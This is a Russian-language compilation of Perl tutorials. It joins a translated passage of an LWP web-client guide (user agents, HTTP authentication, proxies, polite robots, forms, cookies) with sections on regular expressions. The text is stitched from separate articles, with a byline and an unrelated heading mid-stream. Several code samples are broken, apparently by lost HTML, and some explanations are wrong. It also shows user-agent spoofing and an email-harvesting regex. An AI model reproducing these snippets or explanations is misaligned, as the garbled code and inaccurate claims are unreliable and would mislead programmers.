$browser->protocols_allowed( [ 'http', 'gopher'] ): Устанавливаются типы ссылок, с которыми броузер будет "общаться"., в частности HTTP and gopher. Если будет осуществена попытка получить доступ к какому-то документу по другому протоколу (например, "ftp:", "mailto:", "news:"), то не будет даже попытки соединения, а мы получим ошибку 500, с сообщением подобным: "Access to ftp URIs has been disabled".

use LWP::ConnCache;

$browser->conn_cache(LWP::ConnCache->new()): После этой установки объект броузера пытается использовать HTTP/1.1 "Keep-Alive", который ускоряет запросы путем использования одного соединения для нескольких запросов к одному и тому же серверу.

$browser->agent( 'SomeName/1.23 (more info here maybe)' ): Определяем как наш броузер будет идентифицировать себя в строке "User-Agent" HTTP запросов. По умолчанию, он отсылает"libwww-perl/versionnumber", т.е. "libwww-perl/5.65". Вы можете изменить это на более информативное сообщение:
$browser->agent( 'SomeName/3.14 (contact@robotplexus.int)' );
Или, если необходимо, Вы можете прикинутся реальным броузером:
$browser->agent( 'Mozilla/4.0 (compatible; MSIE 5.12; Mac_PowerPC)' );

push @{ $ua->requests_redirectable }, 'POST': Устанавливаем наш броузер на то, чтобы выполнять переадресацию на POST запросы (так делает большинство современных броузеров(IE, NN, Opera)), хотя HTTP RFC говорит нам о том, что это вообще-то не должно осуществляться.
Для большей информации читайте полную документацию по LWP::UserAgent.

HTTP Authentication(идентификация)

Многие сайты ограничивают доступ к своим страницам используя "HTTP Authentication". Это не просто форма, куда Вы должны ввести свой пароль для доступа к информации, это особый механизм, когда HTTP серверпосылает броузеру сообщение, которое гласит: "That document is part of a protected 'realm', and you can access it only if you re-request it and add some special authorization headers to your request"("Этот документ является частью защищённой 'области' и Вы можете получить доступ к нему, если Вы ещё раз сделаете запрос, добавив некоторые специфичные заголовки к Вашему запросу").
Например, администраторы сайта Unicode.org ограничивают доступ для программ сбора emailов к их архивам электронных рассылок, защищая их при помощи HTTP Authentication, существует общий логин и пароль для доступа(на http://www.unicode.org/mail-arch/)--логин - "unicode-ml" и пароль - "unicode".
Например, рассмотрим этот URL, который является частью защищённой области Веб-сайта:
http://www.unicode.org/mail-arch/unicode-ml/y2002-m08/0067.html
Ели Вы попытаетесь загрузить эту страничку броузером, то получите инструкцию: "Enter username and password for 'Unicode-MailList-Archives' at server 'www.unicode.org'", или в графическом броузере что-то наподобие этого:

В LWP, если Вы запустите следующее:
use LWP 5.64; my $browser = LWP::UserAgent->new;
my $url = 'http://www.unicode.org/mail-arch/unicode-ml/y2002-m08/0067.html'; my $response = $browser->get($url);
die "Error: ", $response->header('WWW-Authenticate') 'Error accessing', # ('WWW-Authenticate' is the realm-name) "\n ", $response->status_line, "\n at $url\n Aborting" unless $response->is_success;
То тогда получите ошибку:
Error: Basic realm="Unicode-MailList-Archives" 401 Authorization Required at http://www.unicode.org/mail-arch/unicode-ml/y2002-m08/0067.html Aborting at auth1.pl line 9. [or wherever]
потому что $browser
не знает логина и пароля для области ("Unicode-MailList-Archives") на хосте("www.unicode.org"). Наипростейший метод дать узнать броузеру логин и пароль - использовать метод credentials. Синтаксис следующий:
$browser->credentials( 'servername:portnumber', 'realm-name', 'username' => 'password' );
В большинстве случаев порт номер 80 - является TCP/IP портом по умолчанию для HTTP; и Вы можете использовать метод credentials до каких-либо запросов. Например:
$browser->credentials( 'reports.mybazouki.com:80', 'web_server_usage_reports', 'plinky' => 'banjo123' );
Итак, если мы добавим следующее сразу после строки $browser = LWP::UserAgent->new; :
$browser->credentials( # add this to our $browser 's "key ring" 'www.unicode.org:80', 'Unicode-MailList-Archives', 'unicode-ml' => 'unicode' );
и запустим, то запрос пройдёт.

Использование прокси-серверов

В некоторых случаях Вы хотите или Вам необходимо использовать прокси-сервера для доступа к определённым сайтам или для использования определённого протокола. Наиболее часто такая необходимость возникает, когда Ваша LWP-программа запускается на машине, которая находится "за firewallом".
Для того, чтобы броузер использовл прокси, который определён в переменных окружения(HTTP_PROXY), вызовите env_proxy перед какими-то запросами. В частности:
use LWP::UserAgent; my $browser = LWP::UserAgent->new;
#И перед первым запросом: $browser->env_proxy;
Для большей информации о параметрах прокси читайте документацию по LWP::UserAgent, в частности обратите внимание на методы proxy, env_proxy и no_proxy.

Написание учтивых роботов

Если Вы хотите убедится, что Ваша программа, основанная на LWP, обращает внимание на файлы robots.txt и не делает слишком много запросов за короткий период времени Вы можете использовать LWP::RobotUA вместо LWP::UserAgent.
LWP::RobotUA - это почти LWP::UserAgent, и Вы можете использовать его также:
use LWP::RobotUA; my $browser = LWP::RobotUA->new( 'YourSuperBot/1.34', 'you@yoursite.com'); # Your bot's name and your email address
my $response = $browser->get($url);
Но HTTP::RobotUA добавляет следующие возможности:

Если robots.txt на сервере, на который ссылается $url, запрещает Вам доступ к $url, то тогда объект $browser(учтите, что он принадлежит классу LWP::RobotUA) не будет запрашивать его, и мы получим в ответ ($response) ошибку 403, содержащую строку "Forbidden by robots.txt". Итак, если Вы имеете следующую строчку:
die "$url -- ", $response->status_line, "\nAborted" unless $response->is_success;
тогда программа должна завершится сообщением:
http://whatever.site.int/pith/x.html -- 403 Forbidden by robots.txt Aborted at whateverprogram.pl line 1234

Если $browser увидит, что общался с этим сервером не так давно, то тогда он сдлеает паузу(подобно sleep) для предотвращения осуществления большого количества запросов за короткий срок. Какова будет задержка? В общем-то, по умолчанию, это - 1 минута, но Вы можете контролировать это путём изменения атрибута $browser->delay( minutes ).
Например:
$browser->delay( 7/60 );
Это означает, что броузер сделает паузу, когда это будет нужно, пока со времени предыдущего запроса не пройдёт 7 секунд.
Для большей информации читайте полную документацию по LWP::RobotUA.

Основы классовой модели LWP

Функции LWP::Simple
удобны только для простых случаев, но эти функции не поддерживают теневых посылок(далее cookies) и проверки подлинности(далее authorization); Они также не позволяют устанавливать какие-либо параметры HTTP запроса; и главное, они не позволяют считывать строки заголовка в HTTP ответе (особенно полный текст сообщения в случае HTTP ошибки( HTTP error message)). Для доступа ко всем этим возможностям, Вы должны использовать весь набор классов LWP.
LWP содержит множество классов, но главные два, которые Вы должны понимать - это LWP::UserAgent
и HTTP::Response. LWP::UserAgent это класс для "виртуальных броузеров", кторыми Вы будете пользоваться для выполнения запросов. HTTP::Response
это класс для ответов (или сообщений об ошибке), которые Вы получаете обратно, после запроса.
Основное выражение при работе с LWP: $response = $browser->get($url), или полностью:
use LWP 5.64; # Загружаем все нужные LWP классы, и удостовериваемся # в достаточной свежести версии модуля.
my $browser = LWP::UserAgent->new;
...
# Используется ниже, тот URL, которому и будет сделан запрос: my $url = 'http://freshair.npr.org/dayFA.cfm?todayDate=current';
my $response = $browser->get( $url ); die "Can't get $url -- ", $response->status_line unless $response->is_success;
die "Hey, I was expecting HTML, not ", $response->content_type unless $response->content_type eq 'text/html'; # или другой content-type, который Вам подходит
# В противном случае, производим обработку содержимого:
if($response->content =~ m/jazz/i) { print "They're talking about jazz today on Fresh Air!\n"; } else { print "Fresh Air is apparently jazzless today.\n"; }
В этом примере было включено два объекта, в сравнении с предыдущим примером: $browser, который содержит объект класса LWP::UserAgent, и объект $response, который из класса HTTP::Response. Обычно Вам надо не более одного объекта $browser; но каждый раз как Вы делаете запрос, Вы получаете назад новый объект HTTP::Response, который содержит несколько интересных методов:

Status code(Код состояния), который показывает успех либо неудачу запроса (Вы это можете проверить так: $response->is_success).

HTTP status line(строка состояния), которая, я думаю, будет довольна информативна в случае ошибки (её Вы можете увидеть, используя $response->status_line, она возвращает что-то вроде: "404 Not Found").

MIME content-type, например "text/html", "image/gif", "application/xml", и т.д., который Вы можете увидеть, используя $response->content_type

Собственно содержимое запрашиваемого документа в $response->content. В случае с HTML, здесь будет HTML код; если - GIF, то $response->content вернёт бинарные данные GIF.

А также множество удобных и более специфических, которые описаны в документации по HTTP::Response, и его суперклассам, HTTP::Message и HTTP::Headers.

Отправка данных форм методом POST

Многие HTML формы отправляют данные на сервер, используя запрос HTTP POST, который вы можете осуществить следующим образом:
$response = $browser->post( $url, [ formkey1 => value1, formkey2 => value2, ... ], );
Или, если Вам нужно посылать HTTP заголовки:
$response = $browser->post( $url, [ formkey1 => value1, formkey2 => value2, ... ], headerkey1 => value1, headerkey2 => value2, );
Например, следующая программа осуществляет поисковый запрос на AltaVista (отправкой некоторых данных форм, используя метод HTTP POST), и извлекает из теста ответа количество совпадений:
use strict; use warnings; use LWP 5.64; my $browser = LWP::UserAgent->new;
my $word = 'tarragon';
my $url = 'http://www.altavista.com/sites/search/web'; my $response = $browser->post( $url, [ 'q' => $word, #поисковая фраза 'pg' => 'q', 'avkw' => 'tgz', 'kl' => 'XX', ] ); die "$url error: ", $response->status_line unless $response->is_success; die "Weird content type at $url -- ", $response->content_type unless $response->content_type eq 'text/html';
if( $response->content =~ m{AltaVista found ([0-9,]+) results} ) { #Подстрока будет вида: "AltaVista found 2,345 results" print "$word: $1\n"; } else { print "Couldn't find the match-string in the response\n"; }

Передача данных форм методом GET

Некоторые HTML формы передают данные не отправкой методом POST, а совершением обыкновенного GET запроса с определённым набором данных в конце URL. Например, если Вы пойдёте на imdb.com и запустите поиск по фразе Blade Runner, то URL, который Вы увидите, будет следующим:
http://us.imdb.com/Tsearch?title=Blade%20Runner&restrict=Movies+and+TV
Для запуска такого поиска при помощи LWP, надо сделать следующее:
use URI; my $url = URI->new( 'http://us.imdb.com/Tsearch' ); # создаёт объект, представляющий URL
$url->query_form( # Здесь пары ключ => значение: 'title' => 'Blade Runner', 'restrict' => 'Movies and TV', );
my $response = $browser->get($url);
Смотрите Главу 2, "Формы" книги Perl& LWP для более подробного изучения HTML форм, также как и главы с шестой по девятую для подробного изучения извлечения данных из HTML.

Получение больших документов

Когда Вы запрашиваете большой(или потенциально большой) документ, возникает проблема со стандартными действиями с методами запросов (подобно $response = $browser->get($url)) с тем, что весь объект ответа должен храниться в памяти. Если ответом является 30-мегабайтный файл, то это, мягко говоря, не очень хорошо для Вашей оперативной памяти и размером Вашего процесса в ней.
Хорошей альтернативой является сохранение файла на диск, а не в память. Синтаксис следующий:
$response = $ua->get($url, ':content_file' => $filespec, );
Например,
$response = $ua->get('http://search.cpan.org/', ':content_file' => '/tmp/sco.html' );
Когда Вы используете опцию:content_file, объект $response будет иметь все нормальные заголовки, однако $response->content
будет пустым.
Отмечу, что опция ":content_file" не поддерживалась старыми версиями LWP, поэтому Вы должны принять это во внимание, добавив use LWP 5.66;для проверки версии LWP, если Вы считаете, что Ваша программа может быть запущена на системах с более старыми версиями LWP.
Если Вы хотите, чтобы программа была совместима с более старыми версиями LWP, тогда используйте синтаксис, который позволяет сделать тоже самое:
use HTTP::Request::Common; $response = $ua->request( GET($url), $filespec );

Преобразование относительных в абсолютые ссылки

URI класс, который мы рассмотрели только что, предоставляет множество всевозможных функций для работы с различными частями URL (такие как определение типа URL - $url->scheme, определение на какой хост он ссылается - $url->host, , и так далее на основании документации по классам URI. Тем не менее, наиболее интересными являются метод query_form, рассмотренный ранее, и теперь метод new_abs для преобразования относительной ссылки("../foo.html") в абсолютную("http://www.perl.com/stuff/foo.html"):
use URI; $abs = URI->new_abs($maybe_relative, $base);
Например, рассмотрим эту программку, которая выбирает ссылки из HTML-странички сновыми модулями на CPAN:
use strict; use warnings; use LWP 5.64; my $browser = LWP::UserAgent->new;
my $url = 'http://www.cpan.org/RECENT.html'; my $response = $browser->get($url); die "Can't get $url -- ", $response->status_line unless $response->is_success;
my $html = $response->content; while( $html =~ m/ При запуске она начинает выдавать что-то вроде этого:
MIRRORING.FROM RECENT RECENT.html authors/00whois.html authors/01mailrc.txt.gz authors/id/A/AA/AASSAD/CHECKSUMS ...
Но, если Вы хотите получить список абсолютных ссылок Вы можете использовать метод new_abs, изменив цикл while следующим образом:
while( $html =~ m/new_abs( $1, $response->base ) ,"\n"; }
($response->base
модуля HTTP::Message используется для определения базового адреса для преобразования относительных ссылок в абсолютные.)
Теперь наша программа выдаёт то, что ндо:
http://www.cpan.org/MIRRORING.FROM http://www.cpan.org/RECENT http://www.cpan.org/RECENT.html http://www.cpan.org/authors/00whois.html http://www.cpan.org/authors/01mailrc.txt.gz http://www.cpan.org/authors/id/A/AA/AASSAD/CHECKSUMS ...
См. Главу 4, "URLs", книги Perl & LWP
для большей информации об объектах URI.
Конечно, использование regexp для выделения адресов является слишком прмитивным методом, поэтому для более серьёзных программ следует использовать модули "грамматического разбора HTML" подобные HTML::LinkExtor или HTML::TokeParser, или, даже может быть, HTML::TreeBuilder.

Включение Cookies(Теневых посылок)

Обычно объект LWP::UserAgent
работает как броузер с отключённой поддержкой cookies. Существует несколько путей для того, чтобы включить такую поддержку, используя метод cookie_jar. "cookie jar" - это объект, который, если можно так сказать, олицетворяет собой маленькую БД со всеми HTTP cookies, о которых может знать броузер. "БД" может быть сохранена на диск (так работает Netscape, используя файл cookies.txt), или "висеть" в памяти, при этом весь набор cookies будет потерян, как только программа завершит свою работу.
Для того, чтобы создать пустой объект cookie jar в памяти, вызовите cookie_jar метод следующим образом:
$browser->cookie_jar({});
Для того, чтобы делать копии cookies в файл на диске, который будет содержать весь набор cookies, с которыми работал броузер, после завершения программы, вызовите cookie_jar метод следующим образом:
use HTTP::Cookies; $browser->cookie_jar( HTTP::Cookies->new( 'file' => '/some/where/cookies.lwp', #файл обмена 'autosave' => 1, #по завершении, сохранять ли файл ));
Этот файл будет в специфическом формате LWP. Если Вы хотите получить доступ к cookies из вашего Netscape-cookies файла, Вы можете использовать следующий метод: HTTP::Cookies::Netscape:
use HTTP::Cookies;
$browser->cookie_jar( HTTP::Cookies::Netscape->new( 'file' => 'c:/Program Files/Netscape/Users/DIR-NAME-HERE/cookies.txt', # откуда читать куки ));
Вы можете добавить строку 'autosave' => 1 , как мы делали ранее, но в момент записи существует вероятность того, что Netscape может отказать в записи некоторых cookies обратно на диск.

Web Основы с LWP

Автор: Sean M. Burke

Перевод: Дмитрий Николаев

Август 20, 2002,

Создание пакетов и модулей в Perl

Альтернативные шаблоны

Вы можете задать несколько альтернативных шаблонов, используя символ | как разделитель. Альтернативные шаблоны позволяют превратить процедуру поиска из однонаправленного процесса в разветвленный: если не подходит один шаблон perl подставляет другой и повторяет сравнение, и так до тех пор, пока не иссякнут все возможные альтернативные комбинации. Например, следующий фрагмент проверяет, не ввел ли пользователь "exit", "quit" или "stop":
while (<>){ if(m/exit|quit|stop/){exit;} }
Чтобы было ясно, где начинается и где заканчивается набор альтернативных шаблонов, их заключают в круглые скобки - иначе символы, расположенные справа и слева от группы шаблонов, могут смещаться с альтернативыми шаблонами.
В следующем примере метасимволы ^ и $ обозначают начало и конец строки и отделяются от набора альтернативных шаблонов с помощью скобок: while (<>){ if(m/^(exit|quit|stop)$/){exit;} }
Альтернативные варианты перебираются слева направо. Как только найдена первая альтернатива, для которой выполняется совпадение с шаблоном, перебор прекращается. Участки шаблона, заключенные в круглые скобки, выполняют специальную роль при выполнении операций поиска и замены. Если символ \ находится в квадратных скобках, он интерпретируется как обычный символ. Поэтому если вы используете конструкцию шаблона вида [Tim|Tom|Tam], то она будет эквивалентна классу символов [Tioam|]. Точно так же большинство других метасимволов и команд, специфичных для регулярных выражений - в частности, квантификаторы и мнимые символы, описанные в двух последующих разделах, - внутри квадратных скобок превращаются в обычные символы или escape-последовательности текстовых строк.

Функции, использующие регулярные выражения

Фактически, есть три функции, которые в качестве разделителя могут использовать регулярные выражение: split, grep, map и еще можно воспользоваться специальными операторами ... и .. и используемыми совместно с ними условиями if, unless и просто логическими операторами.

Perl - статьи

Функция grep так-же позволяет запонять массив значениями. Например нужно получить список расширений файлов в заданной директории:
while(){push @files, $_} #читаем директорию @test = grep { s|.*/(.*?)\.(.*)|$2| } @files; #оставляем в директории только расширения файлов
можно использовать признак четности для занесения в массив: @test1=qw(1 2 3 4 5 6 7 8 9); @evens = grep($_%2 == 1) @test1;
Или более сложное регулярное выражение для вытаскивания всех e-mail адресов из текстовой странички:
@mass=grep{s/(.*) ([\w+\-\.]+\@[\w\-\.]+\.\w{2,3})(.*)/$2/ig} split /\n/, $test;
Здесь используется укороченная запись:
@mass=grep {/pattern/} split /\n/, $test;
которая эквивалента записи из двух сторчек:
@uuu=split /\n/, $test; @mass=grep {/pattern/} @uuu;

Использование встроенных переменных

$' - подстрока, следующая за совпадением.

$& - совпадение с шаблоном поиска

$` - подстрока, расположенная перед совпадением

$^R - результат вычисления утверждения в теле шаблона

$n - n-ный фрагмент совпадения

\n - n-ный фрагмент совпадения вызываемый в самом шаблоне

$+ - фрагмент совпадения

$* - разрешает выполнять поиск в многострочных файлах

@- - спецмассив, который содержит начальную позицию найденного слова

@+ - массив, содержащий позицю последнего найденного слова

$& - совпадение с шаблоном поиска, при последней операции поиска или замены. В отличии от переменной $_, эту переменную переопределять как вздумается нельзя.
$' подстрока за совпадением с шаблоном поиска, е также можно только читать.
$` - подстрока, расположенная перед совпадением, разрешается только е чтение.
$^R - результат вычисления утверждения в теле шаблона для последнего вычисления шаблона, если в нем идет счет или вызывается внешняя программа:
$qwer="lala"; $qwer=~ /x(?{$var=5})/; print $^R; 5
$+ - фрагмент совпадения в шаблоне, который в нем был последним в круглых скобках. Разрешается только чтение $+.
$* - разрешает выполнять поиск в многострочных файлах, булева переменная, если она взведена в 1, то символы шаблона поиска ^ и $ сопоставляются позициям перед и после внутренних символов новой строки, если 0, то от начала текста и до конца текста:
$kim="lala\nfa\eti\nzvuki..."; $kim=~~ /^eti/; #совпадение не нашлось $*=1; $kim=~~ /^eti/; #совпадение нашлось
$n - n-ный фрагмент совпадения:
print "$1 $2 $3\n" if(/^(\d)(\w)(\W)$/);
\n - n-ный фрагмент совпадения вызываемый в самом шаблоне, например поиск гиперссылок:
/a href=(['"])(.*?)\1>/
Например нужно занести в массив только цифры из строчки "12@#34@@#@@###34@@##67##@@#@#@34":
$_='12@#34@@#@@###34@@##67##@@#@#@34'; s/@/#/g; s/(#)\1+/$1/g; print join /\n/, split /#/, $_;
Регулярное выражение s/(#)\1+/$1/g; изпользует повторение переменной $1 (квантификатор +) и если оно есть, то заменяет все подряд идущие # между цифрами на одну #, содержащуюся в$1(переменная $1 существует, если часть шаблона или шаблон указать в круглых скобках).

Допустим нужно определить, все ли цифры числа различны. Попробуем найти хотя-бы одно повторяющееся число:

if(/(\d).*(?=\1)/g){ print "по крайней мере одна цифра $1 различна\n"; }

Выражение берет 1-ю цифру и ищет е совпадения со всеми остальными, если есть, то говорит, что найдено и заканчивает работу. Регулярное выражение берет первое число при помощи (\d) и начинает его сравнивать со всеми остальными числами при помощи .*(?=\1). Если первое число в строке уникально, регулярное выражение начнет сопостовлять второе число со всеми восемью оставшимися числами. Если и второе число в строке уникально, то берется третье число и сравнивается со всеми остальными. И т.д., если совпадение было найдено, то регулярное выражение возвращает true и заканчивает свою работу, даже если в строке еще есть повторяющиеся числа. Чтобы можно было просмотреть все повторяющиеся числа, можно воспользоваться модификацией предыдущего кода:

$_ = '2314152467'; my @a = m/(\d)(?=\d*\1)/g ; if (@a){ print join(',',@a)," - Repeat\n"; } else{ print "Ok\n" ; }

Этот усовершенствованный код работает до тех пор, пока не будут найдены все совпадения, если таковые вообще есть.

В perl 5.6 вводятся переменные @- и @+, комбинация которых может заменять переменные $`, $&, и $'. После совпадения шаблона переменная $-[0] содержит начало соответсвия текста шаблону, а переменная $+[0] содержит конец соответсвия текста шаблону. В начале поиска обе являются нулями. Это значит, что можно вычислить значения $`, $&, и $':

$do = substr($stroka, 0, $-[0]); $sovpalo = substr($stroka, $-[0], $+[0] - $-[0]); $posle = substr($stroka, $+[0]);

Например:

$test="11-231234"; $test=~/\d{2}-\d{6}/; print "$-[0], $+[0]"; 0, 9

Соответственное переменные $#- и $#- указывают размерность массивов @- и @+.

Переменная $^N.

Как работают регулярные выражения

Регулярные выражения, использующие квантификаторы, могут порождать процесс, который называется перебор с возвратом (backtracking). Чтобы произошло совпадение текста с шаблоном, надо построить соответствие между текстом и всем регулярным выражением, а не его частью. Начало шаблона может содержать квантификатор, который поначалу срабатывает, но впоследствии приводит к тому, что для части шаблона не хватает текста или возникает несоответствие между текстом и шаблоном. В таких случаях perl возвращается назад и начинает построение соответствия между текстом и шаблоном с самого начала, ограничивая "жадность" квантификатора (именно поэтому процесс и называется "перебор с возвратом"). Перечислим квантификаторы perl:

* - ноль или несколько совпадений,

+ - одно или несколько совпадений,

? - ноль совпадений или одно совпадение,

{n} - ровно n совпадений,

{n,} - по крайней мере n совпадений,

{n,m} - от n до m совпадений.

Классы символов

Символы могут быть сгруппированы в классы. Указанный в шаблоне класс символов сопоставляется с любым из символов, входящим в этот класс. Класс - это совокупность символов, заключенный в квадратные скобки [ и ]. Можно указывать как отдельные символы, так и их диапазон (диапазон задается двумя крайними символами, соединенными тире). Наример, следующий код производит поиск гласных: $text ="Here is the text."; if ($text =" /[aeiou]/) {print "Vowels: we got 'em.\n";} Vowels: we got 'em.
Другой пример: с помощью шаблона [A-Za-z]+ (метасимвол + означает утверждение: "один или более таких символов") ищется и заменяется первое слово:
$text = "What is the subject."; $text =" s/[A-Za-z]+/Perl/; print $text; Perl is the subject;
Если требуется задать минус как символ, входящий в класс символов, перед ним надо поставить обратную косую черту \-. Если сразу после открывающей квадратной скобки стоит символ ^, то смысл меяется на противоположный. А именно, этот класс сопоставляется любому символу, кроме перечисленных в квадратных скобках. В следующем примере производится замена фрагмента текста, составленного не из букв и не из пробелов: $text = "perl is the subject on page 493 of the book."; $text =- s/[a-Za-z\s]+/500/; print $text; perl is the subject on page 500 of the book.

Квантификаторы

Квантификаторы в регулярных выражениях
Квантификаторы указывают на то, что тот или иной шаблон в строке может повторяться определенное количество раз. Например, можно использовать квантификатор + для поиска мест неоднократного, повторения подряд латинской буквы е и их замены на одиночную букву е: $text = "Hello from Peeeeeeeeeeeeeeerl."; $text =~ s/e+/e/: print $text; Hello from perl.

Логические операции в регулярных выражениях

В регулярных выражениях perl есть синтаксические выражение, позволяющие в шаблонах использовать простые логические конструкции:

(?= шаблон) - после этой точки есть фрагмент текста, который соответствует указанному регулярному выражению

(?! шаблон) - после этой точки нет текста, который бы соответствовал указанному регулярному выражению,

(?<= шаблон) - перед этой точкой есть фрагмент текста, соответствующий указанному регулярному выражению,

(?#текст) - комментарий. Текст комментария игнорируется.

(?:шаблон) или (?модификаторы:шаблон) - группирует элементы шаблона. В отличие от обычных круглых скобок, не создает нумерованной переменной. Например, модификатор i не будет делать различия между строчными и заглавными буквами, однако область действия этого модификатора будет ограничена только указанным шаблоном.

(?=шаблон) - "заглядывание вперед". Требует, чтобы после текущей точки находился текст, соответствующий данному шаблону. Такая, конструкция обрабатывается как условие или мнимый символ, поскольку не включается В результат поиска. Например, поиск с помощью команды /w+(?=\s+)/ найдет слово, за которым следуют один или несколько "пробельных символов", однако сами они в результат не войдут.

(?!шаблон) - случай, противоположный предыдущему. После текущей точки не должно быть текста, соотносимого с заданным шаблоном. Так, если шаблон w+(?=\s) - это слово, за которым следует "пробельный символ", то шаблон w+(?!\s) - это слово, за которым мет "пробельного символа".

(?<=шаблон) - заглядывание назад. Требует, чтобы перед текущей точкой находился соответствующий текст. Так, шаблон (?<=\s)w+ интерпретируется как слово, перед которым имеется пробельный символ (в отличие от заглядывания вперед, заглядывание назад может работать только с фиксированным числом проверяемых символов).

(?{код}) - условие (мнимый символ), которое всегда выполняется. Сводится к выполнению команд perl в фигурных скобках. Вы можете использовать эту конструкцию, только если в начале сценария указана команда use re 'eval'. При последовательном соотнесении текста и шаблона, когда perl доходит до такой конструкции, выполняется указанный код. Если полного соответствия для оставшихся элементов найти не удалось, то при возврате левее данной точки шаблона вычисления, проделанные с локальными переменными, откатываются назад. (Условие является экспериментальным. В документации, прилагаемой в perl, можно найти довольно детальное рассмотрение (с примерами) работы этого условия и возможных трудностей в случае его применения.)

(?>шаблон) - "независимый" или "автономный" шаблон. Используется для оптимизации процесса поиска, поскольку запрещает "поиск с возвратом". Такая конструкция соответствует подстроке, на которую налагается заданный шаблон, если его закрепить в текущей точке без учета последующих элементов шаблона. Например, шаблон (?>а*)аb в отличие от a*ab не может соответствовать никакой строке. Если поставить в любом месте шаблон а*, он съест все буквы а, не оставив ни одной шаблону ab. (Для шаблона а*аb "аппетит" квантификатор * будет ограничен за счет работы поиска с возвратами: после того как на первом этапе не удастся найти соответствие между шаблоном и текстом, perl сделает шаг назад и уменьшит количество букв а, захватываемых конструкцией а*.)

(?(условие)шаблон-да|шаблон-нет) или (?(условие)шаблон-да) - условный оператор, который подставляет тот или иной шаблон в зависимости от выполнения заданного условия. Более подробно описан в документации perl.

(?модификаторы) - задает модификаторы, которые локальным образом меняют работу процедуры поиска. В отличие от глобальных модификаторов, имеют силу только для текущего блока, то есть для ближайшей группы круглых скобок, охватывающих конструкцию, Например, шаблон ((?i)text) соответcтвует слову "text" без учета регистра.

Поиск повторяющихся слов в регулярном выражении осуществляется при помощи т.н. обратных ссылок. Выше уже был приведен пример их использования для выбирания всех адресов рисунков с www.astronomynow.com:

m{SRC\s*=\s*(["'])http://(.*?)\1\s+(.*?)WIDTH="100" HEIGHT="100"(.*?)>}igs

(["']) - найти либо " либо ' либо ничего, т.к. src=http:// может быть без кавычек. Как только был надено что-либо из этих трех позиций, через минимальное количество символов(регулярное выражение (.*?)) символов оно заносится в специальную переменную \1, которая вне m/.../ может быть вызвана как $1(в s/.../.../ она вызывается в его левую половину как $1). Дальше после *.gif|*.jpg|*.bmp и т.д. должен обязательно идти хотя-бы один пробел \s+, т.к. броузеры воспримут подстроку src=file.gifborder=0 как файл картинки с расширением gifborder=0. Поэтому данное регулярное выражение вполне исправно работает, хотя оно было сделано для сайта, где в img src ставится полный адрес, т.е. начинающийся с http:// Для других сайтов придется выстраивать полные пути в ссылках используя base href, если есть или его url.

Если нужно найти какое-то по счету совпадение шаблона в строке, то это реализуется примерно так:

while($str=~/WHAT/g){$n++} $n++ while $str=~/WHAT/g; $n++ while $str=~/(?=WHAT)/g;#для перекрывающихся совпадений for($n=0; $n=~/WHAT/g; $n++){}

Каждое кратное совпадение

(++$n % 6) == 0;

Нужное Вам совпадение:

$n=($str=~/WHAT/gi)[6]; #допустим шестое

Или каждое четное совпадение

@mass=grep{$n++ %2==0} /WHAT/gi;

для нечетного нужно написать внутри grep: $n++ %2==1

Логические операции внутри регулярных выражений.

Если нужно найти последнее совпадение, то можно воспользоваться отрицанием опережающей проверки (?!WHAT):

m#PATTERN(?!.*PATTERN)$#

т.е. нийти какой-то PATTERN, при этом не должно найтись что-то еще(.*) и PATTERN, т.е. результат - последнее совпадение;

Минимальные квантификаторы *?, +?, ??,{}?

допустим нужно найти двойку, перед которой не стоит 3 или пробел:

print "$1\n" while m%2(?![3\s])gm%;

используется условие по отрицанию, A(?!B): найти А, перед которым не находится В. Чтобы найти двойку, за которой стоит 3 или пробле(\s), то можно воспользоваться:

print "$1\n" while m%2(?=[3\s])gm%;

или

print "$1\n" while m%2(?![^3\s])gm%;

где используется ^, [^3\s], который значит следущее: в класс символов, которые нужно найти, не входят 3 и пробел, или другими словами найти все кроме 3 и \s.

Допустим существует HTML-документ, в котором произвольное число вложенных таблиц [.*

]. Требуется "вырезать" по очереди самые вложенные таблицы (не содержащие внутри [.*

]), и, соответственно, выводить. И так - рекурсивно до конца вырезать изнутри всю таблицу. Ниже представлена программа, реализующая эту задачу при помощи логического оператора (?!...):

#!/usr/bin/perl -wT

$file=qq|saaa bbb

ccc

cc dddd |;

print $file; &req($file); sub req { if($file=~m%(((?!.*

).*?)

)%igs){ $file=~s%(((?!.*

).*?)

)%%igs; print "Virezali --$1--"; &req($file); } return $file; }

Продолжаем рассматривать логические операторы в регулярных выражениях на опретаорах типа OR, AND или NOT.

Регексп истиннен, если /AM|BMA/ или /AM/ /BMA/ и если есть перекрытие типа /BMAM/. Так-же и /AM/ && /BMA/:

/^(?=.*AM)(?=.*BMA)/s

Выражение истинно если /AM/ и /BMA/ совпадают при перекрытии которое не разрешено:

/AM.*BMA|BMA.*AM/s

Выражение истинно, если шаблон /ABC/ не совпадает:

!~/ABC/

или

/^(?:(?!ABC).)*$/s

Выражение истинно, если ABC не совпадает, а VBN совпадает: /(?=^(?:(?!ABC).)*$)VBN/s

Несовпадение можно проверить несколькими способами:

unless($str =~ /MMM/){...} if(!($str =~ /MMM/)){...} if($str !~ /MMM/){...}

Для обязательного совпадения в двух шаблонах:

unless ($str !~ /MMM/ && $str !~ /BBB/){...} #или if ($str =~ /MMM/ && $str =~ /BBB/){...}

Хотя бы в одном

unless ($str !~ /MMM/ $str !~ /BBB/){...} #или if ($str =~ /MMM/ $str =~ /BBB/){...}

Регулярные выражения - основа работы с операторами m/.../ и s/.../.../, так как они передаются последним в качестве аргументов. Разберемся, как устроено регулярное выражение \b([A-Za-z)+)\b, осуществляющее поиск отдельных слов в строке:

$text = "Perl is the subject."; $text =~/\b([A-Za-z]+)\b/; print $1;

Выражение \b([A-Za-z]+)\b включает в себя группирующие метасимволы ( и ), метасимвол границы слова \b, класс всех латинских букв [A-Za-z] (он объединяет заглавные и строчные буквы) и квантификатор +, который указывает на то, что требуется найти один или несколько символов рассматриваемого класса. Поскольку регулярные выражения, как это было в предыдущем примере, могут быть очень сложными, разберем их по частям. В общем случае регулярное выражение состоит из следующих компонентов:

Совпадение с любым символом

В perl имеется еще один мощный символ - а именно, точка (.). В шаблоне он соответствует любому знаку, кроме символа новой строки. Например, следующая команда заменяет в строке все символы на звездочки (использован модификатор g, обеспечивающий глобальную замену): $text = "Now is the time."; $text =~ s/./*/g; print $text; ********************

